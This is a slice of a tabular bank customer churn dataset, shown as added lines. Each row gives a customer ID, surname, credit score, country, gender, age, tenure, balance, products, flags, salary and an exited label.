+5382,15663883,Hansen,850,Germany,Male,32,9,141827.33,2,1,1,149458.73,0 +5383,15589296,Brown,724,France,Female,40,6,110054.45,1,1,1,86950.72,0 +5384,15586425,Lo Duca,579,France,Male,28,4,0,2,1,1,176925.69,0 +5385,15679813,Ellis,727,Spain,Male,28,1,0,1,1,0,40357.39,0 +5386,15681410,Korff,813,Germany,Female,36,6,98088.09,1,0,1,26687.22,1 +5387,15668283,Gardiner,642,France,Male,48,9,118317.27,4,0,0,78702.98,1 +5388,15624072,Kiernan,669,Spain,Male,22,10,0,2,1,0,176163.74,0 +5389,15669664,Thompson,574,Germany,Male,54,1,99774.5,1,0,0,4896.11,1 +5390,15682728,Mathews,774,France,Female,32,4,0,2,0,0,114899.13,0 +5391,15573851,Macrossan,735,France,Female,38,1,0,3,0,0,92220.12,1 +5392,15733661,Illingworth,639,Spain,Female,27,8,133806.54,2,1,0,6251.3,0 +5393,15710012,Bowen,738,Spain,Male,44,2,0,2,1,0,43018.82,1 +5394,15763327,Craig,835,France,Male,32,8,124993.29,2,1,1,27548.06,0 +5395,15668853,Menhennitt,637,Spain,Female,44,0,157622.58,1,1,1,120454.2,0 +5396,15639303,Moore,589,Germany,Male,48,5,126111.61,1,0,1,133961.19,0 +5397,15691011,Shoebridge,591,France,Male,42,9,161651.37,2,1,1,131753.97,0 +5398,15638513,Palermo,723,France,Female,40,7,142856.95,2,0,0,38019.74,0 +5399,15648933,Reilly,831,Germany,Male,44,3,111100.98,1,1,1,28144.07,1 +5400,15628904,Bowen,733,Spain,Male,35,8,102918.38,1,1,1,45959.86,0 +5401,15644788,Fyodorov,731,France,Female,30,5,0,2,1,0,189528.72,0 +5402,15598161,Clements,654,France,Male,47,10,0,2,1,0,170481.98,0 +5403,15745624,McKenzie,828,France,Male,37,4,0,2,1,0,94845.45,0 +5404,15733169,Craig,590,Spain,Male,22,7,125265.61,1,1,1,161253.08,0 +5405,15801417,Iloerika,657,France,Male,37,4,82500.28,1,1,1,115260.72,0 +5406,15592707,Dolgorukova,531,Germany,Female,64,2,175754.87,2,1,1,60721.4,0 +5407,15593954,Eva,516,France,Female,47,6,109387.33,1,0,0,121365.45,0 +5408,15714431,Yeh,561,France,Male,37,1,100443.36,2,0,1,101693.73,0 +5409,15638257,P'an,682,Spain,Female,54,0,83102.72,2,1,1,54132.93,0 +5410,15690939,Howe,575,Spain,Male,28,7,0,1,1,1,10666.05,0 +5411,15723613,Jenkins,623,France,Female,28,4,0,2,1,0,41227.67,0 +5412,15813640,Shih,642,France,Female,40,7,0,2,1,0,10712.82,0 +5413,15707322,Nnamdi,779,France,Female,48,2,115290.27,1,0,0,98912.69,1 +5414,15588918,Mitchell,671,France,Female,42,6,0,2,1,0,197202.48,0 +5415,15600357,Findlay,495,France,Female,40,1,140197.71,2,1,0,150720.39,0 +5416,15747014,Pisani,850,France,Female,28,1,105245.34,1,0,1,74780.13,0 +5417,15809830,Belisario,630,France,Male,50,8,0,2,0,1,79377.45,0 +5418,15662245,Pomeroy,588,France,Male,32,1,0,2,1,1,8763.87,0 +5419,15651075,Ibrahimova,562,Germany,Male,35,3,142296.13,1,0,1,177112.7,0 +5420,15594456,K?,740,Spain,Female,56,4,99097.33,1,1,1,85016.64,1 +5421,15583462,Graham,695,France,Male,28,5,171069.39,2,1,1,88689.4,0 +5422,15757661,Trevisano,589,France,Female,39,7,0,2,0,0,95985.64,0 +5423,15729117,Trevisano,607,France,Female,31,1,102523.88,1,1,1,166792.71,0 +5424,15749671,K?,794,France,Male,35,6,0,2,1,1,68730.91,0 +5425,15566253,Manning,580,Germany,Male,44,9,143391.07,1,0,0,146891.07,1 +5426,15595153,Tucker,644,Germany,Female,44,8,106022.73,2,0,0,148727.42,0 +5427,15698572,Schaffer,636,Spain,Female,36,1,0,1,1,0,43134.58,0 +5428,15674149,Esomchi,599,Germany,Male,36,3,128960.21,2,1,1,40318.33,0 +5429,15623082,Ch'ang,507,France,Female,35,2,0,2,1,0,97633.93,0 +5430,15797905,Walker,682,France,Female,48,7,0,2,1,0,65069.03,0 +5431,15746028,Chu,714,France,Female,24,7,0,2,1,0,166335,0 +5432,15582951,Crawford,696,France,Female,25,8,126442.59,1,1,0,121904.44,0 +5433,15616471,Milne,599,Spain,Male,51,0,0,1,1,1,175235.99,0 +5434,15641575,Anenechukwu,577,France,Male,37,2,127261.35,1,1,0,56185.05,0 +5435,15638803,Donaldson,733,Spain,Female,32,5,0,2,1,0,131625.14,0 +5436,15808283,Kelly,647,France,Female,33,4,0,1,1,0,152323.04,0 +5437,15811200,Ts'ao,831,France,Female,34,2,0,2,0,0,165840.94,0 +5438,15733476,Gonzalez,543,Germany,Male,30,6,73481.05,1,1,1,176692.65,0 +5439,15633274,Tai,679,France,Male,34,7,160515.37,1,1,0,121904.14,0 +5440,15582168,Muravyova,713,Germany,Female,61,4,149525.34,2,1,0,123663.63,0 +5441,15807269,Milanesi,690,Germany,Male,43,2,166522.78,1,0,0,119644.59,1 +5442,15602979,Lin,751,France,Male,29,1,135536.5,1,1,0,66825.33,0 +5443,15660417,Lambert,613,Germany,Female,43,10,120481.69,1,0,0,94875.03,1 +5444,15590199,Temple,701,Spain,Male,28,1,103421.32,1,0,1,76304.73,0 +5445,15641794,Ridley,698,France,Male,33,5,135658.73,2,0,1,39755,0 +5446,15779174,Young,451,France,Female,36,2,0,2,1,1,180142.42,0 +5447,15785547,Slye,665,France,Male,28,8,191402.82,2,1,0,83238.4,0 +5448,15795124,Pan,726,Germany,Male,50,9,94504.35,1,0,1,5078.9,0 +5449,15718912,Hsueh,608,Germany,Female,44,5,126147.84,1,0,1,132424.69,1 +5450,15592028,Roberts,549,France,Female,46,7,0,1,1,1,109057.56,0 +5451,15580227,Moss,803,France,Male,33,6,0,2,1,0,115676.61,0 +5452,15657830,Andrews,663,France,Male,43,4,87624.03,2,1,0,149401.33,0 +5453,15798256,Takasuka,558,France,Female,45,1,153697.53,2,0,0,89891.4,1 +5454,15643819,Dawson,714,France,Female,25,4,0,2,0,0,82500.84,0 +5455,15754301,Bruche,704,France,Male,39,5,0,1,1,0,6416.92,0 +5456,15726855,Oliver,805,Germany,Female,45,9,116585.97,1,1,0,189428.75,1 +5457,15755225,Ryan,659,Germany,Male,34,9,134464.58,2,1,0,178833.34,0 +5458,15725221,Sabbatini,738,Germany,Male,62,10,83008.31,1,1,1,42766.03,0 +5459,15789055,Watt,635,Spain,Male,35,2,113635.16,1,1,0,90883.12,0 +5460,15617507,Wilson,530,Spain,Female,36,7,0,2,1,0,80619.09,0 +5461,15668894,Abramova,661,Germany,Male,41,5,122552.48,2,0,1,120646.4,0 +5462,15589563,Purdy,531,Spain,Male,31,2,118899.45,2,0,0,41409.36,0 +5463,15693162,Higgins,694,France,Female,29,5,99713.87,1,0,0,112317.89,0 +5464,15750099,Marshall,731,France,Female,36,6,0,1,0,0,152128.36,0 +5465,15795540,Reye,556,France,Female,36,2,134208.22,1,0,1,177670.57,0 +5466,15794941,Chibueze,647,Germany,Female,41,1,85906.65,3,1,0,189159.97,0 +5467,15611848,Kwemtochukwu,850,Germany,Male,32,3,137714.25,1,0,1,159403.68,0 +5468,15581237,Biryukova,573,Spain,Male,33,1,160777.9,1,1,1,149536.15,0 +5469,15738150,Chidozie,591,France,Male,45,5,0,2,1,1,155492.87,0 +5470,15678571,Barber,723,France,Male,21,4,0,2,0,0,24847.02,0 +5471,15736124,Thompson,617,France,Male,25,1,102585.88,2,1,1,115387.4,0 +5472,15623202,Maslov,704,Germany,Female,39,10,102556.18,2,1,0,171971.25,1 +5473,15804201,Jones,457,Germany,Male,42,4,126772.57,1,0,1,126106.4,0 +5474,15596863,Chidumaga,787,Germany,Female,38,3,158373.23,1,1,1,28228.35,0 +5475,15696277,Hs?,651,France,Female,34,9,0,2,1,0,138113.71,0 +5476,15748608,Trentini,612,Germany,Male,42,5,141927.1,1,1,1,43018.98,0 +5477,15723864,Lucas,828,Spain,Male,47,1,109876.82,2,1,0,83611.45,1 +5478,15802390,Willoughby,724,France,Female,34,2,0,2,1,1,118863.38,0 +5479,15774336,Jamieson,648,Germany,Male,44,9,111369.79,2,1,1,91947.74,0 +5480,15648766,Robertson,569,Spain,Male,35,3,116969.35,1,0,0,94488.82,0 +5481,15659094,Ojiofor,765,Germany,Female,34,8,136729.51,2,0,0,47058.21,0 +5482,15606397,Cameron,577,Germany,Female,44,1,152086.15,1,0,1,44719.5,1 +5483,15642619,Mayne,603,Spain,Male,46,2,0,2,1,0,174478.54,0 +5484,15666032,Mancini,568,Spain,Male,28,1,127289.28,1,0,0,45611.51,0 +5485,15595842,Paramor,748,Germany,Male,45,2,119852.01,1,0,0,73853.94,1 +5486,15753837,Young,573,Spain,Male,38,4,0,2,1,1,196517.43,0 +5487,15783882,Daly,771,Spain,Female,41,5,0,2,0,1,92914.67,0 +5488,15799790,Carter,763,France,Male,35,9,0,1,1,1,31372.91,0 +5489,15628155,Dike,410,France,Female,35,7,117183.74,1,1,1,109733.73,0 +5490,15703778,Hughes,728,France,Male,33,8,129907.63,1,0,1,36083.96,0 +5491,15722322,Green,655,Spain,Female,78,2,0,2,0,1,188435.38,0 +5492,15639278,Chinomso,580,Germany,Female,36,6,145387.32,2,1,1,169963.2,1 +5493,15568487,Gorshkov,712,France,Male,35,7,124616.23,1,1,1,69320.97,0 +5494,15682084,Chinomso,680,France,Male,31,9,0,2,1,0,36145.53,0 +5495,15642821,Ijendu,383,Spain,Female,48,8,95808.19,1,0,0,137702.01,1 +5496,15601387,Yen,721,France,Male,35,10,0,2,1,0,71594.26,0 +5497,15642515,Arcuri,620,France,Female,42,1,0,2,0,1,65565.92,0 +5498,15710421,Baresi,774,Spain,Female,36,8,117152.3,1,0,0,101828.39,0 +5499,15726774,Field,563,France,Male,35,3,106250.72,1,0,0,39546.32,0 +5500,15649078,Christian,850,Germany,Female,27,8,111837.78,2,1,1,110805.79,0 +5501,15641877,Ross,681,France,Male,47,9,97023.21,1,1,1,2168.13,0 +5502,15796496,Trevisani,631,France,Female,31,8,137687.72,1,1,0,190067.12,0 +5503,15815690,Akabueze,614,Spain,Female,40,3,113348.5,1,1,1,77789.01,0 +5504,15631739,Dunn,704,Spain,Male,24,10,122109.78,1,1,1,127654.37,0 +5505,15625584,Martin,786,France,Male,32,2,120452.4,2,0,0,79602.86,0 +5506,15802466,Donaldson,534,France,Female,53,7,0,2,1,1,80619.17,0 +5507,15697028,McClinton,590,Spain,Male,34,0,65812.35,2,0,1,160346.3,0 +5508,15575759,Bentley,583,Spain,Female,40,3,54428.37,1,1,0,109638.78,1 +5509,15567442,Ibezimako,656,France,Female,75,3,0,2,1,1,1276.87,0 +5510,15746805,Thomson,597,France,Male,33,9,0,2,1,0,49374.82,0 +5511,15636330,Ch'in,588,Germany,Female,48,1,143279.58,2,1,0,31580.8,1 +5512,15714970,Holbrook,667,Germany,Male,32,0,103846.65,1,1,0,20560.69,0 +5513,15653784,Solomina,627,France,Male,37,2,125190.86,1,0,1,84584.69,0 +5514,15693543,McDonald,708,France,Female,33,8,0,2,0,1,15246.83,0 +5515,15773283,Dennis,641,France,Male,65,6,38340.02,1,1,0,32607.77,1 +5516,15742534,Faulk,527,Germany,Female,28,2,123802.98,2,1,1,155846.69,0 +5517,15569878,Dale,592,France,Male,37,3,96651.03,1,1,1,3232.82,0 +5518,15729454,Gorbunov,465,France,Male,33,8,0,2,1,0,177668.55,0 +5519,15578375,Farrell,628,France,Male,39,6,0,2,0,0,134441.6,0 +5520,15785559,De Luca,678,France,Male,43,1,133237.21,1,1,0,111032.79,1 +5521,15649414,Walker,570,France,Female,61,6,142105.35,1,1,1,45214.04,0 +5522,15701605,Forster,815,France,Male,37,1,166115.42,1,1,0,67208.3,0 +5523,15686696,Brown,817,France,Female,37,6,81070.34,2,1,0,80985.88,0 +5524,15625586,Monaldo,717,France,Male,35,4,0,1,1,1,167573.06,0 +5525,15654975,Wu,641,France,Female,53,0,123835.52,2,0,1,160110.65,0 +5526,15782993,Pan,624,France,Male,51,10,123401.43,2,1,1,127825.25,0 +5527,15774382,Longo,579,Germany,Male,49,4,169377.31,1,1,1,123535.05,0 +5528,15689602,Findlay,698,France,Male,38,2,130015.24,1,1,1,41595.3,0 +5529,15756155,Fu,645,France,Male,32,4,0,2,0,1,97628.08,0 +5530,15812647,Yin,691,France,Male,34,8,133936.04,2,1,0,91359.79,0 +5531,15736043,Hamilton,638,France,Male,34,6,114543.27,1,1,1,97755.29,0 +5532,15696744,Miller,705,France,Female,31,3,119794.67,1,0,0,182528.44,0 +5533,15602572,Hsing,720,France,Male,33,9,0,2,1,1,142956.48,0 +5534,15674765,Mitchell,553,Spain,Male,44,4,0,1,1,0,10789.3,0 +5535,15678725,Chamberlin,658,France,Female,29,8,0,2,0,1,130461.09,0 +5536,15694444,Buttenshaw,648,Germany,Female,32,8,157138.99,3,1,0,190994.48,1 +5537,15795878,Anayochukwu,636,Spain,Male,45,3,0,2,1,1,159463.8,0 +5538,15735346,Wallace,527,Germany,Female,41,10,136733.24,1,1,1,57589.29,0 +5539,15687094,Calabresi,717,Germany,Female,28,9,82498.14,2,0,0,40437.67,0 +5540,15790067,Sun,614,Spain,Male,39,3,151914.93,1,0,0,56459.45,0 +5541,15605742,Tuan,737,France,Male,43,0,80090.93,1,1,0,39920,1 +5542,15566740,Nazarova,587,Spain,Male,51,3,83739.32,1,0,1,148798.45,0 +5543,15664897,Bryant,682,France,Female,35,2,181166.44,1,1,1,63737.19,1 +5544,15585777,Pai,710,France,Male,38,3,130588.82,1,1,1,154997.64,0 +5545,15650864,Power,507,France,Male,42,6,0,2,1,0,34777.23,0 +5546,15806709,Hao,609,Germany,Male,33,6,94126.67,1,0,0,93718.16,0 +5547,15633818,McMillan,786,France,Male,32,9,0,2,1,0,133112.41,0 +5548,15713845,Merrett,688,France,Male,38,7,148045.68,1,1,0,175479.92,1 +5549,15639662,Phillips,710,France,Male,38,2,0,2,1,0,96.27,0 +5550,15567013,De Luca,779,Spain,Male,33,3,0,2,1,0,30804.68,0 +5551,15777784,Tu,733,France,Female,44,6,168165.84,1,0,1,197193.49,0 +5552,15800251,Elder,583,Germany,Female,26,10,72835.56,2,1,0,96792.15,0 +5553,15651315,Dilke,627,France,Male,41,3,0,2,1,0,132719.8,0 +5554,15651450,Panicucci,666,Germany,Male,31,3,123212.08,2,1,1,112157.31,0 +5555,15784218,Mason,620,Spain,Male,38,0,0,2,1,1,38015.34,0 +5556,15572398,Townsend,614,Spain,Female,39,6,0,2,1,1,164018.98,0 +5557,15707962,Gunson,606,France,Male,40,6,119501.88,2,1,0,46774.94,0 +5558,15705663,Milano,700,Germany,Female,39,5,144550.83,2,1,1,189664.43,0 +5559,15645355,Macleod,677,Germany,Male,34,3,126729.41,1,1,1,26106.39,1 +5560,15729557,Olisaemeka,850,Germany,Male,36,5,119984.07,1,1,0,191535.11,1 +5561,15631436,Gleeson,564,France,Male,35,4,0,1,1,0,158937.55,0 +5562,15583073,Martin,771,Spain,Female,56,2,0,1,1,1,25222.6,1 +5563,15614361,Liao,620,Spain,Male,42,9,121490.05,1,1,1,29296.74,0 +5564,15724684,Sung,610,Spain,Male,46,5,91897.8,1,1,0,54394.28,0 +5565,15700083,Lai,609,Spain,Male,39,2,139443.75,2,1,0,9234.06,0 +5566,15636541,Cartwright,683,Germany,Male,35,5,144961.97,1,0,1,26796.73,0 +5567,15796015,Wu,633,Germany,Male,42,3,126041.02,1,0,1,11796.89,0 +5568,15787222,Ch'in,676,Germany,Male,28,1,69459.05,2,1,1,128461.29,0 +5569,15594270,Biryukov,693,France,Male,38,7,198338.77,2,1,1,14278.18,0 +5570,15701524,Ting,709,France,Male,36,0,0,2,1,0,46811.77,0 +5571,15645847,P'eng,569,Germany,Male,35,2,109196.66,3,1,0,109393.19,1 +5572,15708867,Niu,684,Spain,Female,38,3,134168.5,3,1,0,3966.5,1 +5573,15613140,Mellor,565,France,Male,34,6,0,1,1,1,63173.64,0 +5574,15628893,Power,681,France,Male,29,8,0,1,1,0,66367.33,0 +5575,15764073,Arcuri,503,Spain,Female,36,9,0,2,1,1,16274.67,0 +5576,15782879,Lang,656,France,Male,40,2,0,2,1,1,180553.48,0 +5577,15635964,Eve,566,Germany,Male,65,4,120100.41,1,1,0,107563.16,1 +5578,15726087,Ch'in,592,France,Female,62,5,0,1,1,1,100941.57,0 +5579,15726313,Napolitani,687,Spain,Female,50,5,0,2,1,0,110230.4,0 +5580,15578073,Barker,686,Spain,Male,22,8,0,2,0,0,142331.85,0 +5581,15786249,Whitfield,616,Spain,Male,30,2,0,2,1,0,199099.51,0 +5582,15812850,Stradford,494,Spain,Male,67,5,0,2,1,1,85890.16,0 +5583,15596972,Brownlow,534,France,Male,38,3,0,1,0,0,143938.27,0 +5584,15620579,Dunn,695,Spain,Female,31,8,0,2,0,1,131644.41,0 +5585,15768270,DeRose,579,Spain,Female,31,9,0,2,1,0,112395.98,0 +5586,15656597,Wang,432,Germany,Male,38,2,135559.8,2,1,1,71856.3,0 +5587,15699446,Hobbs,816,Germany,Female,25,2,150355.35,2,1,1,35770.84,0 +5588,15615004,Anderson,730,France,Female,37,1,0,2,1,1,124364.63,0 +5589,15704771,Ugochukwu,593,France,Female,35,6,133489.12,2,1,1,78101.29,0 +5590,15588372,Kirsova,715,Germany,Female,37,9,105489.31,1,0,0,143096.49,1 +5591,15681439,Tsou,775,Germany,Male,25,10,60205.2,2,1,0,14073.11,0 +5592,15607509,Ozerova,539,France,Male,38,5,0,2,1,0,47388.41,0 +5593,15670343,Li,576,Spain,Male,19,6,0,2,0,0,72306.07,0 +5594,15597968,Fyans,617,Spain,Male,50,7,0,1,1,0,184839.7,1 +5595,15658432,Freeman,688,France,Male,40,6,0,1,1,1,47886.44,0 +5596,15616431,Chiu,608,France,Male,33,4,0,1,0,1,130474.03,0 +5597,15796957,Iadanza,597,Spain,Male,35,9,0,3,0,1,73181.39,1 +5598,15815552,Ferguson,670,France,Female,42,6,112333.63,1,1,1,65706.86,0 +5599,15631871,Kelly,616,Germany,Female,57,7,116936.81,1,1,1,104379.36,0 +5600,15635870,She,579,Germany,Female,50,5,117721.02,1,0,1,192146.63,1 +5601,15596713,Christie,786,France,Male,37,7,165896.22,2,1,1,66977.68,0 +5602,15684211,Creel,704,Spain,Female,44,9,153656.85,1,1,0,158742.81,0 +5603,15760521,Thompson,796,France,Female,50,1,94164,1,1,1,189414.74,0 +5604,15608408,Lazareva,598,Spain,Male,39,1,0,2,1,0,159130.32,0 +5605,15804721,Boni,602,France,Male,49,0,191808.73,1,0,0,97640.2,0 +5606,15730272,Evseev,619,France,Male,58,5,152199.33,1,1,1,86022.09,0 +5607,15741988,Marino,492,Germany,Female,52,8,125396.24,1,1,0,10014.72,1 +5608,15771728,Mackenzie,641,Germany,Male,41,7,104405.54,3,1,0,17384.21,0 +5609,15605113,Sutherland,518,France,Female,27,1,133801.49,1,1,1,143315.57,0 +5610,15661945,Nicolay,623,Spain,Female,40,4,0,3,1,0,31669.18,0 +5611,15783816,Lori,733,France,Female,28,5,0,2,0,0,12761.16,0 +5612,15721207,Piazza,625,Germany,Male,42,6,100047.33,1,1,0,93429.95,0 +5613,15764072,Somerville,759,France,Female,31,1,109848.6,1,1,1,42012.55,0 +5614,15689412,Christie,604,France,Female,32,7,127849.38,1,1,0,15798.7,0 +5615,15798385,Grave,512,Spain,Female,46,3,0,2,1,1,56408.14,0 +5616,15775339,Lori,520,France,Female,29,8,95947.76,1,1,0,4696.44,0 +5617,15585256,Iloerika,805,Spain,Male,26,2,0,2,1,1,25042.1,0 +5618,15797329,Muir,626,France,Male,43,4,137638.69,1,1,0,130442.08,1 +5619,15780220,Pauley,656,France,Male,38,10,0,1,1,1,136521.82,0 +5620,15648951,Kao,785,Spain,Male,41,7,0,2,1,1,199108.88,0 +5621,15752409,Grant,553,France,Male,31,6,0,2,0,0,124596.63,0 +5622,15807524,Chukwuma,569,France,Female,44,4,0,2,0,0,134394.78,0 +5623,15766649,Vincent,670,France,Male,38,10,89416.99,1,0,0,144275.39,0 +5624,15696812,Lazareva,586,Spain,Male,42,6,0,2,1,1,123410.23,0 +5625,15581295,Ch'ien,617,Spain,Female,45,1,0,1,1,0,143298.06,0 +5626,15663234,Bishop,508,France,Female,60,7,143262.04,1,1,1,129562.74,0 +5627,15741417,Chibuzo,624,Spain,Female,35,7,119656.45,2,1,1,4595.05,0 +5628,15695174,Chang,654,France,Male,29,4,132954.64,1,1,1,146715.07,0 +5629,15665168,Calabrese,681,Germany,Female,44,3,105206.7,2,1,1,163558.36,0 +5630,15601503,Tokaryev,578,Spain,Male,28,4,0,2,0,0,6947.09,0 +5631,15706131,Logan,621,Spain,Female,37,9,83061.26,2,1,0,9170.54,0 +5632,15782758,Ozerova,632,France,Male,40,5,147650.68,1,1,1,199674.83,0 +5633,15591091,Goering,644,France,Male,44,5,73348.56,1,1,0,157166.79,1 +5634,15715877,Lo,821,France,Male,28,2,0,2,1,0,46072.52,0 +5635,15756918,Simmons,754,France,Female,38,2,0,2,0,0,3524.69,0 +5636,15746662,Maduabuchim,568,Spain,Female,27,1,116320.68,1,0,1,45563.94,0 +5637,15626679,Linger,584,France,Male,33,3,0,2,0,1,59103.13,0 +5638,15793343,Yeh,549,France,Female,29,8,0,2,1,1,189558.44,0 +5639,15576774,Stevenson,729,France,Female,38,7,0,2,0,0,45779.9,0 +5640,15801316,Ifeatu,523,France,Male,61,8,66250.71,1,1,1,21859.06,0 +5641,15800514,Kenechukwu,477,Germany,Female,24,2,95675.62,2,0,0,162699.7,1 +5642,15662232,Learmonth,675,Germany,Male,42,2,92616.64,2,1,0,8567.18,0 +5643,15737778,Dickson,782,Spain,Female,41,4,0,1,1,0,132943.88,0 +5644,15782096,Volkova,616,Spain,Female,36,6,0,1,1,1,12916.32,1 +5645,15783522,Mitchell,738,Spain,Female,37,8,100565.94,1,1,1,128799.86,0 +5646,15785373,Wong,717,Spain,Female,42,5,190305.78,1,1,0,99347.8,1 +5647,15756272,James,526,Germany,Female,35,9,118536.4,1,1,0,40980.87,1 +5648,15615245,Shao,660,France,Male,19,5,127649.64,1,1,1,40368.65,0 +5649,15600174,Walton,525,France,Male,35,7,165358.77,1,0,1,94738.54,0 +5650,15752956,Stanley,629,Spain,Male,29,6,0,2,1,1,88842.8,0 +5651,15644882,Watson,616,Germany,Female,36,10,78249.53,1,1,0,136934.91,0 +5652,15766272,Folliero,521,Germany,Female,61,0,125193.96,1,1,1,109356.53,0 +5653,15800620,Fitzgerald,691,France,Female,29,9,0,2,0,0,199635.93,0 +5654,15569764,Garner,687,Germany,Female,41,2,154007.21,1,1,0,158408.23,0 +5655,15747458,Folliero,677,Spain,Female,43,3,133214.88,2,1,1,95936.84,0 +5656,15573171,Liao,695,Spain,Male,63,1,146202.93,1,1,1,126688.83,1 +5657,15736769,Lucchesi,663,France,Female,27,9,0,2,1,0,150850.29,0 +5658,15763381,Chan,496,France,Male,30,0,90963.49,1,0,1,27802,0 +5659,15814430,Ma,747,Spain,Male,41,9,0,1,1,0,32430.94,1 +5660,15638607,Nwabugwu,546,France,Female,52,2,0,1,1,0,137332.37,1 +5661,15737133,P'eng,706,Spain,Male,68,4,114386.85,1,1,1,28601.68,0 +5662,15613945,Andrews,472,France,Female,26,5,0,2,1,0,108411.66,0 +5663,15659937,Otutodilinna,703,France,Female,40,7,0,2,0,1,122518.5,0 +5664,15765287,Grant,850,France,Female,38,2,0,2,1,0,9015.07,0 +5665,15661723,Abramovich,667,Spain,Male,71,4,137260.78,1,0,1,94433.08,1 +5666,15766064,Komarova,559,France,Male,33,9,111060.05,2,1,0,110371.84,0 +5667,15649616,Otutodilichukwu,636,Spain,Male,60,7,124447.73,1,1,1,141364.62,1 +5668,15719017,Donaldson,672,France,Female,34,8,0,2,1,1,16245.25,0 +5669,15720919,Duggan,667,France,Male,42,7,0,1,0,1,108348.94,1 +5670,15706706,Chinwendu,648,Germany,Male,33,7,135310.41,2,0,1,171668.2,0 +5671,15709653,Hamilton,497,France,Male,32,8,0,2,1,0,67364.42,0 +5672,15805104,Smith,743,France,Female,73,6,0,2,0,1,107867.38,0 +5673,15622442,Mazzi,619,France,Male,29,5,0,2,1,0,194310.1,0 +5674,15572801,Krischock,639,Spain,Male,34,5,139393.19,2,0,0,33950.08,0 +5675,15767598,Kent,540,Spain,Male,28,8,0,2,0,0,197588.32,0 +5676,15757897,Binder,766,France,Female,26,3,104258.8,1,1,1,428.23,0 +5677,15568104,Zubarev,749,France,Female,26,6,0,2,0,1,34948.77,0 +5678,15763414,Degtyarev,655,Germany,Male,32,9,113447.01,1,1,0,82084.3,0 +5679,15732265,Obialo,630,France,Male,33,9,0,2,1,0,64804.59,0 +5680,15621974,Davydova,778,Germany,Female,33,4,111063.73,2,1,0,83556.65,0 +5681,15803947,Teng,757,Germany,Female,30,6,161378.02,1,0,0,71926.28,1 +5682,15720706,Hsing,529,Spain,Female,39,2,82766.43,1,1,1,122925.44,0 +5683,15759290,Coleman,620,Spain,Male,29,9,0,2,1,0,13133.88,0 +5684,15651664,Wilder,615,France,Female,61,1,104267.7,1,1,0,62845.64,1 +5685,15795132,Molineux,735,France,Female,25,3,91718.8,1,0,0,28411.23,0 +5686,15811565,Cocci,705,Spain,Female,47,3,63488.7,1,0,1,28640.92,1 +5687,15713774,Chikwendu,644,Spain,Female,46,6,12459.19,1,0,0,156787.34,1 +5688,15691840,Fraser,505,Germany,Female,37,6,159863.9,2,0,1,125307.87,0 +5689,15682021,Lai,471,Germany,Male,23,6,104592.55,2,1,0,131736.23,0 +5690,15612931,Korovin,722,Spain,Female,50,4,132088.59,1,1,1,128262.14,0 +5691,15676707,Sidorov,577,Spain,Female,39,4,0,2,1,0,91366.42,0 +5692,15601383,Ibrahimova,744,Spain,Male,44,5,120654.68,1,1,0,82290.81,0 +5693,15662662,Duigan,573,France,Female,30,6,0,2,1,0,66190.21,0 +5694,15752694,Taylor,653,France,Female,32,4,83772.95,1,0,1,23920.65,0 +5695,15590683,Donaldson,660,France,Female,31,6,172325.67,1,0,1,45438.38,0 +5696,15773591,Jobson,787,France,Male,46,7,117685.31,2,1,1,93360.35,0 +5697,15723620,Lu,617,France,Male,41,7,0,2,0,1,14496.67,0 +5698,15671779,Nebechi,567,France,Male,39,5,0,2,0,0,168521.72,0 +5699,15672966,Cross,682,Spain,Female,64,9,0,2,1,1,103318.44,0 +5700,15624667,Wallace,684,France,Male,35,6,135871.5,1,1,1,87219.41,0 +5701,15812888,Perreault,447,France,Male,41,3,0,4,1,1,197490.39,1 +5702,15724154,Manna,625,Germany,Female,49,4,128504.76,1,1,0,126812.63,1 +5703,15749540,Hsiung,585,France,Male,36,7,0,2,1,0,94283.09,0 +5704,15621063,Gibbons,516,France,Female,42,8,56228.25,1,1,0,46857.52,0 +5705,15661626,Algeranoff,732,Germany,Female,45,6,98792.4,1,1,0,81491.7,1 +5706,15698703,Doherty,628,Germany,Male,40,5,181768.32,2,1,1,129107.97,0 +5707,15801431,Rowe,682,Spain,Female,48,9,101198.01,1,1,1,49732.9,0 +5708,15649451,Yates,746,France,Male,25,9,0,2,0,1,88728.47,0 +5709,15626156,Galloway,655,France,Female,60,3,0,2,1,1,86981.45,0 +5710,15606158,Genovese,644,France,Female,39,9,0,1,1,0,3740.93,0 +5711,15589496,Arrington,778,France,Male,34,5,139064.06,2,0,0,67949.32,0 +5712,15730345,Miah,617,France,Female,35,2,104508.1,1,1,1,147636.46,0 +5713,15572038,Chijindum,660,Germany,Male,35,9,113948.58,1,1,0,188891.96,1 +5714,15643439,Ferguson,537,France,Male,47,10,0,2,0,1,25482.62,0 +5715,15604158,Smith,554,France,Female,39,10,0,2,1,1,18391.93,0 +5716,15657396,Marshall,806,France,Male,31,9,0,2,0,1,140168.36,0 +5717,15709478,P'an,611,Germany,Male,37,1,117524.72,2,0,1,161064.29,0 +5718,15628824,Burton,665,France,Female,37,5,160389.82,1,0,1,183542.08,0 +5719,15814519,Kamdibe,648,France,Female,37,7,0,2,1,0,194238.92,0 +5720,15636520,Milani,692,France,Male,27,1,125547.53,1,0,0,7900.46,0 +5721,15794414,Forbes,507,Spain,Male,46,6,92783.68,1,1,1,51424.29,0 +5722,15643671,Chiekwugo,696,Germany,Male,49,5,97036.22,2,1,0,152450.84,1 +5723,15700650,Cousens,681,France,Male,34,3,0,2,0,0,55816.2,0 +5724,15680224,Ross,687,France,Female,26,6,0,2,1,1,32909.13,0 +5725,15784286,Wood,641,Spain,Male,40,5,102145.13,1,1,1,100637.07,0 +5726,15693996,Hawks,507,France,Female,33,1,113452.66,1,0,0,142911.99,0 +5727,15764343,T'ien,688,Spain,Female,46,8,155681.72,1,1,0,26287.21,0 +5728,15704168,Ting,535,Germany,Male,38,8,127475.24,1,0,0,60775.76,1 +5729,15680197,Thynne,701,France,Male,41,10,0,2,1,1,146257.77,0 +5730,15633729,Wang,488,France,Male,43,10,112751.13,1,1,1,28332,0 +5731,15577683,Maclean,539,France,Female,29,4,0,2,1,1,100919.19,0 +5732,15800746,Watson,674,France,Male,45,7,144889.18,1,1,1,102591.9,1 +5733,15788686,Gibson,538,Spain,Male,40,8,0,2,1,1,25554.4,0 +5734,15742798,French,829,France,Female,22,7,150126.44,1,1,0,152107.93,1 +5735,15596647,Henderson,768,France,Male,54,8,69712.74,1,1,1,69381.05,0 +5736,15756070,Greenwood,585,Spain,Female,44,4,0,2,0,1,101728.46,0 +5737,15775116,Anderson,581,France,Male,31,3,0,2,0,0,89040.61,0 +5738,15575428,Mistry,682,Germany,Female,35,2,117438.92,2,1,1,16910.98,0 +5739,15654074,Tuan,653,France,Male,38,8,119315.75,1,1,0,150468.35,0 